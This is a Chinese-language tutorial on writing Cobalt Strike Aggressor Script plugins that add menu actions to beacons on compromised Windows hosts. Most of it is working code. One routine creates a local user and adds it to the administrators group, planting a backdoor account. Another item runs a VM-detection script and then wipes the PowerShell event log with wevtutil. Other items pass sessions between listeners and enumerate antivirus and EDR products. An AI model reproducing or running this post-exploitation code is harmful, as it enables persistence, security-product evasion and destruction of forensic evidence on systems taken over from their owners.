目录
CobaltStrike插件开发的几个场景
指定Beacon执行系统命令
bshell($1,"whoami");
$1为当前beacon的id
具体弹框出来看一下:show_message($1) 每个会话都是随机的
模拟一个简单的场景,实现上线用户信息的查看,code如下,注意以下三种写法都可
sub showuser {
show_message($1);
bshell($1, "query user");
}
popup beacon_bottom {
menu "查看用户信息"{
item "查看当前用户" {
bshell($1, "whoami");
};
separator();
item("&查看计算机用户",{bshell($1, "net user");});
item("&查看在线用户",{showuser($1);});
}
}
效果如下:
点击第三个选项:弹出会话id,然后在beacon中显示命令执行后的结果
上线目标会话传递
item("&会话传递",{openPayloadHelper(lambda({bspawn($bid, $1);
println("我们传递的监听器是".$1."需要传递的会话id为".$bid)},$bid => $1));
交互式操作
测试一下参数传递是否正常
sub dialog_input {
#第一行设置标题以及回调函数
show_message($1);
$dialog = dialog("添加用户", %(username => "admin",password => "root",bid => $1),&show);
drow_text($dialog,"username","请输入用户名:"); #用户名输入框
drow_text($dialog,"password","请输入密码:"); #密码输入框
dbutton_action($dialog, "确定"); #确定按钮,当点击了该按钮,就会调用回调函数
dialog_show($dialog); #显示对话框
}
sub show{
show_message("输入的用户名:".$3['username']."输入的密码: ".$3['password']." 会话id为: ".$3['bid']);
}
添加用户实现
sub dialog_input {
#第一行设置标题以及回调函数
$bid = $1['@'];#拿出数组的第一个元素
$dialog = dialog("添加用户", %(username => "admin",password => "root",bid => $bid),&show);
drow_text($dialog,"username","请输入用户名:"); #用户名输入框
drow_text($dialog,"password","请输入密码:"); #密码输入框
dbutton_action($dialog, "确定"); #确定按钮,当点击了该按钮,就会调用回调函数
dialog_show($dialog); #显示对话框
}
#回调函数
sub show{
#bshell($bid, "net user $3['username'] $3['password'] /add");
#bshell($bid, "net localgroup administrators $3['username'] /add");
#bshell($bid, "net localgroup administrators");
bshell($3['bid'], "net user $3['username'] $3['password'] /add");
bshell($3['bid'], "net localgroup administrators $3['username'] /add");
bshell($3['bid'], "net localgroup administrators");
}
执行powershell命令
bpowerpick($1,"需要执行的系统命令");
code:
item("&执行powershell命令(查看powershell执行策略)",{bpowerpick($1,"get-Executionpolicy");});
执行结果
加载powershell,传参
bpowershell_import($bid,script_resource("powershell路径"));
bpowerpick($bid,"powershell里面的自定义的函数");
item("&检测是否为虚拟机",{
bpowershell_import($1, script_resource("/Check-VM.ps1"));
bpowerpick($1,"Check-VM");
bshell($1,"wevtutil cl \"Windows PowerShell\"");
});
后续继续补充,未完待续
加载exe,传参
bexecute_assembly($1, script_resource('exe路径'), "追加的命令");
bexecute_assembly($1, script_resource('/SharpCheckInfo.exe'), "-AvProcessEDRproduct");
后续继续补充,未完待续
参考:
https://mp.weixin.qq.com/s/i7QzwMAmUyxoBs0CwcGC-g